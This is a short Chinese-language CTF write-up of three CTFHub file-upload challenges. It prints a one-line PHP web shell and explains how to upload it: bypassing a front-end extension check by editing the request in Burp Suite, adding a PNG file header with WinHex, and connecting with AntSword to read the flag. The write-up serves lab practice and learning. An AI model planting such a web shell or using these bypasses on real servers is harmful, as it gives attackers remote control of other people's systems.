小白一个,如有错误请指正!
一、无验证
我们这次来到了文件上传模块了,这是一个无验证的文件上传,那我们直接上传一个一句话木马即可。
代码:
<?php
@eval($_REQUEST["shell"]);
?>
1.我们在桌面创建一个shell.txt文件,输入代码后将后缀改成.php,然后将文件上传。
2.在这里我们得知上传的路径是:
http://challenge-620c59fde44f34b7.sandbox.ctfhub.com:10800/upload/shell.php
3.然后我们打开蚁剑,进行连接,先点击测试连接,提示连接成功后我们点击添加
附蚁剑下载地址:https://github.com/AntSwordProject/
4.这里我们直接双击添加成功的链接,查看文件
5.点击进来就发现flag了,点开里面就是falg了
二、前端验证
我们先照常上传我们的shell,php文件,然后发现不允许上传,那我们用F12大法看一下。
在这里我们发现有一个前端认证,而且认证的代码也给我们了,大概意思就是除了后缀名为jpg、png 、gif格式的文件之外,其他文件不允许上传。
解题思路
我们可以先将文件名改为shell.jpg,然后使用Burpsuite进行抓包,修改数据包的内容,将我们的文件名改回shell.php,再用蚁剑进行连接就可以了。
实现步骤:
1.用Burpsuite进行抓包,在红框位置修改文件名,发送数据包查看返回内容。我们可以发现文件上传成功了,没有被拦截。
2.打开蚁剑,填写url和密码进行连接。
3.连接成功,翻找flag。
4.成功拿下flag。
ctfhub{a45284a7a153ea87becca3e1}
三、文件头检查
1.文件头检查我们需要下载winhex:
http://www.x-ways.net/winhex.zip
2.我们从winhex中打开我们的一句话木马shell.php,为它添加一个PNG的文件头89504E47
3. 剪贴板格式选择 ASCLL Hex
4.剩下的就是用burp抓包改木马文件后缀和蚁剑连接后去flag了
参考资料:
https://blog.youkuaiyun.com/weixin_45556441/article/details/115732738